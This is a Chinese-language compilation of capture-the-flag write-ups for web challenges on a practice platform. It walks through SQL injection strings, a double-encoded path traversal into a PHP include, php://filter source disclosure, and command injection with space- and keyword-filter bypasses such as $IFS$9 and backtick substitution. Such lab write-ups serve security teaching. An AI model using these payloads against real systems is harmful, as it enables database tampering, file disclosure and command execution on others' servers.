目录
[极客大挑战 2019]EasySQL
在用户名和密码都填:
payload:' or 1=1
由于用户名和密码都存在sql注入漏洞,可以用
'
闭合前面的查询语句同时用or
绕过判断
[极客大挑战 2019]Havefun(GET)
查看源代码可以得到一些信息
用GET传参将cat=dog即可得到flag
[HCTF 2018]WarmUp
ctrl+u查看源码,发现了source.php文件,打开后是代码审计。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
然后看到提示hint.php,访问后得到flag在ffffllllaaaagggg下,然后开始审计一波代码。
这段代码的意思是如果 file 不空、为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片,而需要被包含的文件就是hint.php提示的ffffllllaaaagggg。
里面涉及到mb_substr(),mb_strpos(),urldecode()三个函数。
定义和用法
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
注释:stripos() 函数是不区分大小写的。
注释:该函数是二进制安全的。
相关函数:
这段代码的大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8.然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
格式为:?file=source.php%253F../../../../../ffffllllaaaagggg
注: 确保url解码后能通过白名单。浏览器会解码一次,而 ? 经过一次urlencode编码为:%3f;两次为:%253f
[ACTF2020 新生赛]Include(文件包含)
ctrl+u查看网页代码+抓包:没有发现什么有用的信息。
查看题目和网址的file参数,提示这是文件包含的题
考察利用php://filter伪协议进行文件包含,详细解释见(18条消息) PHP Filter伪协议Trick总结_php伪协议filter_swtre33的博客-CSDN博客)
构造payload:(解释)—>https://blog.csdn.net/az44yao/article/details/88429951
构造payload =http://28b9351b-1dfd-4a2a-935c-52d2ba8cc53c.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串Base64密文,解密即可得到Flag=flag{22fa271b-3153-4c91-9017-6e1bbd2af694}
1是格式
2是可选参数,有read和write,字面意思就是读和写
3是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
4是必选参数,后面写你要处理的文件名
php://filter还可以绕过,大概就是把不希望执行的语句先编码,这个编码类型可以破坏语句的正常执行。比如base64编码只有64个字符,如果被编码的语句字符在64个字符里找不到对应的,就会忽略,略过它继续编码),然后再解码,这样就可以绕过这个语句了。
[ACTF2020 新生赛]Exec(命令注入)
打开靶场,就是一个明显的命令注入题
我们ping 127.0.0.1;ls试试,
可以看到,没有过滤分号和ls.然后访问index.php。
然后PING查看127.0.0.1 | ls /所有目录
看到flag在第四个目录下,直接cat访问目录(127.0.0.1| cat ../../../../flag)
flag{91559931-70e3-41a1-bded-5cf501d91db6}
[强网杯 2019]随便注
打开后发现是SQL注入题,试下SQL注入的万能语句(1' or 1=1 ;#)看看有什么有用的信息,这个#用来注释掉后面的sql语句。
没有发现什么有用的信息。输入2 试试。
输入3试试,发现报错了,说明只显示3列。
查看下数据表(1'; show tables;#)
发现有两个表,我们一个一个查看,先查看表1919810931114514
(1'; show columns from `1919810931114514`;#)
可以看到words表里有两个属性,即两列:id 和data
然后再查看表words (1';show columns from `1919810931114514`;#)
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为(select id,data from words where id=)
接下来就是把1919810931114514数据表改为words数据表,将flag属性名改为id,然后用1’ or 1=1;# 显示flag出来。在这之前需要将words数据表名改为其他的名字,否则会报错。
payload格式:1';rename table `words` to words1; rename table `1919810931114514` to `words`; alrter table words change flag id varchar(100);
注释:已存在的数据表用的时候需要用反引号包住。
修改完成后用万能注入口令即可------1' or 1=1;#
也可以先查下更改后的数据表看看是否更改完成
[GXYCTF2019]Ping Ping Ping
命令联合执行
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
命令绕过空格的方法有:
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
tac命令简介:
tac(cat 的反序)命令以行为单位反序输出文件内容,即第一行最后显示,最后一行先显示。输出内容和 cat 命令相反。
命令格式:
tac [OPTION]... [FILE]...//[OPTION]可以不写。
解题:
/?ip= 构造本地地址查看文件目录看看(用|或;执行命令)
/?ip=127.0.0.1;ls或/?ip=127.0.0.1|ls 得到
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php
发现有两个文件,我们先访问flag看看 /?ip=127.0.0.1;cat flag.php
/?ip= fxck your space!//过滤了空格
我们绕过空格试试 /?ip=127.0.0.1;cat$IFSflag.php
/?ip= fxck your flag!//显示过滤了flag
这样我们就读不了flag文件了,试试index文件。 /?ip=127.0.0.1;cat$IFSindex.php 发现读取不到,我们试下 /?ip=127.0.0.1;cat$IFS$1index.php 具体为什么还没找到原因。
可以看到很多符号都被过滤了
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤的特殊字符有
& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"
flag的贪婪匹配
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
//flag的贪婪匹配,匹配一个字符串中,是否按顺序出现过flag四个字母
同样被过滤了
变量覆盖
源码中有一个$a变量可以覆盖,可以慢慢尝试下。
?ip=127.0.0.1;a=f;cat$IFS$1$alag.php 过滤flag
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php 没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 过滤flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤flag//变量ab互换传递,绕过字符串匹配,实现拼接
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag
//变量替换顺序,效果也不一样
文件查看成功后查看源代码中是否有flag。
内联执行
?ip=127.0.0.1;cat$IFS`ls`
?ip=127.0.0.1;cat$IFS$3`ls`
?ip=127.0.0.1;cat$IFS$9`ls`
?ip=127.0.0.1|cat$IFS$9`ls`
查看源码。
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{e01a4f73-d0eb-45cd-b39b-c4c76e62b333}";
?>
/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
payload:cat$IFS$1`ls`
使用内联执行会将 ``内的输出作为前面命令的输入,当我们输入上述payload时,等同于cat falg.php;cat index.php。